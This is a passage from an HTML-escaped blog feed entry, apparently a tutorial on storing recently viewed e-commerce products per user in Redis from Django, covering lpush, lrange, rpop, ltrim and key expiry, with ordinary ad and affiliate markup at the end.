product_history_length&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Continuing the analogy above, &lt;em&gt;lpush&lt;/em&gt; would do something similar to this.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id_de_usuario_unico_1&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#ff9f43&#34;&gt;34&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;]}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;lpush(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id_de_usuario_unico_1&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id_de_usuario_unico_1&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;34&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;]}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;obtain-a-list-of-values-associated-to-a-key-with-lrange&#34;&gt;Obtain a list of values associated to a key with lrange&lt;/h2&gt;&#xA;&lt;p&gt;Now that we have created a function to extend a list associated to a user, let&amp;rsquo;s create a function that returns that list.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s use &lt;em&gt;lrange&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;&lt;em&gt;lrange&lt;/em&gt; method allows us to pass a key (&lt;em&gt;user_id&lt;/em&gt;) and will return the list assigned to it&lt;/strong&gt;, from the initial value (0) to the end (4), counting from the beginning. That is, the elements with indexes from 0 to 4. As we do not want to repeat values, we will resort to a &lt;em&gt;set comprehension&lt;/em&gt; to transform the values into integers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_products_ids_by_user&lt;/span&gt;(user_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    last_viewed_products_ids &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;lrange(user_id, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Devuelve [b&amp;#39;2&amp;#39;, b&amp;#39;4&amp;#39;, ...]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    last_viewed_products_ids_list &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; last_viewed_products_ids}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; last_viewed_products_ids_list&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This function will return only those redis values, so that we can know which products we will return from the database.&lt;/p&gt;&#xA;&lt;h2 id=&#34;creating-a-queryset-from-redis-values&#34;&gt;Creating a queryset from redis values&lt;/h2&gt;&#xA;&lt;p&gt;The above function returns a list of values, corresponding to id or primary keys of products in our database.&lt;/p&gt;&#xA;&lt;p&gt;We will use that list of values to filter products in our database, a fairly common use of the django ORM that you should have no problems with.&lt;/p&gt;&#xA;&lt;p&gt;Basically it means: get all the products and then filter them so that there are only those products whose id or primary key is in the list called &lt;em&gt;product_ids&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;get_product_history_queryset_by_user&lt;/span&gt;(product_ids, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    last_viewed_products_queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Product&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        id__in&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;product_ids)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;exclude(&lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;product_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; last_viewed_products_queryset&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Note that you can replace the &lt;em&gt;Product.objects.all()&lt;/em&gt; query with the queryset of your choice. You may prefer not to show all the products in your database, but only the active ones, the ones with inventory or any other combination.&lt;/p&gt;&#xA;&lt;h2 id=&#34;avoid-storing-repeated-values&#34;&gt;Avoid storing repeated values&lt;/h2&gt;&#xA;&lt;p&gt;Since we don&amp;rsquo;t want the list of viewed products to repeat products, let&amp;rsquo;s make sure that the id or primary key of the product is not in the list we are getting before adding it.&lt;/p&gt;&#xA;&lt;p&gt;To do this we just check that the product id is outside the list returned by the &lt;em&gt;get_products_ids_by_user&lt;/em&gt; function we wrote earlier.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_object_or_404&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;product_details&lt;/span&gt;(request, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    user_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_user_id_for_redis(request)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product_ids &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_products_ids_by_user(user_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;(product_id) &lt;span style=&#34;color:#ff6ac1&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; product_ids:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        create_product_history_by_user(user_id, product_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product_history_queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_product_history_queryset_by_user(product_ids)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ... más código&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However now we run into another problem, what if our store has tens of thousands of products and our daily traffic is tens of thousands of users, do we really want to keep in memory such a large list of products visited? Most users won&amp;rsquo;t go through your last thousand products to see if they feel like buying something.&lt;/p&gt;&#xA;&lt;p&gt;It is unnecessary to maintain such a long list if we are only going to access a few products.&lt;/p&gt;&#xA;&lt;p&gt;How do we solve it? We need to create a function that helps us to keep the list of products associated to a key in redis in a limit.&lt;/p&gt;&#xA;&lt;h2 id=&#34;rpop-and-lpop-of-redis-remove-an-item-from-a-list&#34;&gt;rpop and lpop of redis remove an item from a list&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;The rpop method removes the last element of a list associated to a key and returns it&lt;/strong&gt; The lpop method does the same, but with the first element&lt;/p&gt;&#xA;&lt;p&gt;We can use rpop to remove the oldest element and purge the oldest elements. If with the last insertion the list grows beyond our limit (in this case 5) we will remove the oldest element.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;limit_product_history_length&lt;/span&gt;(user_id, product_history_length):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; product_history_length &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;pop(user_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;ltrim-is-an-alternative-to-lpop-and-rpop&#34;&gt;ltrim is an alternative to lpop and rpop&lt;/h3&gt;&#xA;&lt;p&gt;The function &lt;strong&gt;&lt;em&gt;ltrim&lt;/em&gt; of redis is in charge of cutting the initial values of the list associated to a key&lt;/strong&gt;, we indicate the initial index and its final index as arguments.&lt;/p&gt;&#xA;&lt;p&gt;The difference with ltrim is that its execution time is O(n), since it depends on the number of elements to be removed, while for rpop it is O(1). If you have no idea what I&amp;rsquo;m talking about visit my post where I talk a bit about the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/the-big-o-notation-for-algorithm-analysis/&#34;&gt;Big O notation&lt;/a&gt;&#xA; or stay with the idea that if we are only going to remove one element rpop is better. However you may want a different behavior and you may be better off using &lt;em&gt;ltrim&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Redis has runtime information for each function in its documentation and can be very useful if the performance of your django application is important.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;limit_product_history_length&lt;/span&gt;(user_id, product_history_length):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; product_history_length &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ltrim(user_id, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we add the function to be executed &lt;strong&gt;only if there has been an insertion&lt;/strong&gt; of an item in redis, i.e. if the current product is not in our list.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_object_or_404&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;product_details&lt;/span&gt;(request, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    user_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_user_id_for_redis(request)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product_ids &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_products_ids_by_user(user_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; product_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; product_ids:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        product_history_length &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; create_product_history_by_user(user_id, product_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        limit_product_history_length(user_id, product_history_length)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product_history_queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_product_history_queryset_by_user(request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user, product_ids)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ... más código&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that we have the queryset with the redis data, we can return it and render it in a django template, process it to return a JSON response or whatever your application requires.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_object_or_404&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.template.response &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; TemplateResponse&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;product_details&lt;/span&gt;(request, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;visited_products&amp;#34;&lt;/span&gt;: visited_products} &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; TemplateResponse(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        request, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;product/details.html&amp;#39;&lt;/span&gt;, context)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;assign-an-expiration-date-to-data-in-redis&#34;&gt;Assign an expiration date to data in redis&lt;/h2&gt;&#xA;&lt;p&gt;But what if we are not interested in how many products an anonymous customer sees, but how long we keep them.&lt;/p&gt;&#xA;&lt;p&gt;Maybe today the customer wants to buy a particular product, but maybe we consider it useless to show him that same product three months later. Why not put an expiration date on the list we are saving? If the user does not revisit a new product after a certain amount of time has elapsed, the information will be deleted.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;r.expire&lt;/em&gt; receives the key we want to expire and the time for its deletion, in that order, as its arguments. For this example I have assigned three months. And so the histories of inactive sessions that have been inactive for a long time will be deleted.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/utils.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Product&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;create_product_history_by_user&lt;/span&gt;(user_id, product_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    product_history_length &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;lpush(user_id, product_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    r&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;expire(user_id, &lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;24&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;90&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; product_history_length&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Redis has a lot to offer, and linking it with django will allow you to do a lot. I leave you the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://redis.io/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;redis documentation&lt;/a&gt;&#xA; in case you want to go deeper into it and its &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/redis/redis-py&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;bindings in python.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;You are browsing an ecommerce site, a product catches your attention and you click to see it, but you are not convinced. You decide to see other options, click on a new product and, when you scroll to the bottom of the page, the page shows you the first product you saw under the caption &amp;ldquo;Recently viewed&amp;rdquo;. You can do the same with django and redis.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; 